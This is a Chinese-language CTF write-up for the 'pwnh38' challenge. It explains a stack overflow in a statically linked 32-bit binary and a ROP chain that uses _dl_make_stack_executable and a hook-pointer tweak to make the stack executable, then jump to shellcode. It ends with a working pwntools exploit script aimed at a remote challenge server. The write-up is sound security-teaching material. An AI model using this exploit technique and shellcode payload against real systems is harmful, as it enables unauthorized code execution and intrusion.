首先,检查一下程序的保护机制
然后,我们用IDA分析一下
程序存在明显的栈溢出漏洞
并且glibc被静态编译到了程序中
由于没有开启PIE,且glibc被静态编译包含,那么我们有很多方式get shell,这里,我们使用的是dl_make_stack_executable使得栈变得可执行,然后在栈里布下shellcode来getshell
为了节省步骤,我们直接ret到这里
这样,我们就不用担心参数的问题,我们还得事先设置好ebp的值,使得[ebp+arg_10]为__libc_stack_end的地址,目的是为了绕过这里的检查
我们发现0x80A0B05处就是__libc_stack_end的地址
于是,我们就令ebp为0x80A0B05 - 0x18,这样[ebp+arg_10]为__libc_stack_end的地址
接下来,为了让_dl_make_stack_executable执行完后,不回到这
我们需要利用gadgets修改_dl_make_stack_executable_hook的值
我们得让它偏移一个push指令,即改成划线处的地址
这样ret时,就会不到原来的地方,而是回到栈里的ROP gadgets
于是,我们再用jmp esp来继续跳转到栈里,执行shellcode
综上,我们的exp脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
sh = remote('111.198.29.45',52378) elf = ELF('./pwnh38') _dl_make_stack_executable_hook = elf.symbols['_dl_make_stack_executable_hook'] '''''调用_dl_make_stack_executable .text:0809A260 or ds:__stack_prot, 7 .text:0809A267 mov eax, [ebp+arg_10] .text:0809A26A call _dl_make_stack_executable_hook ''' call_dl_make_stack_executable = 0x809A260
inc_p_ecx = 0x080845f8 pop_ecx = 0x080df1b9 jmp_esp = 0x080de2bb sh.sendlineafter('SSCTF[InPut Data Size]',str(0x100)) payload = 'a'*0x3A + p32(0x80A0B05 - 0x18)
payload += p32(pop_ecx) + p32(_dl_make_stack_executable_hook) + p32(inc_p_ecx)
payload += p32(call_dl_make_stack_executable) + p32(jmp_esp)
payload += asm(shellcraft.i386.linux.sh()) raw_input() sh.sendlineafter('SSCTF[YourData]',payload) sh.interactive()
|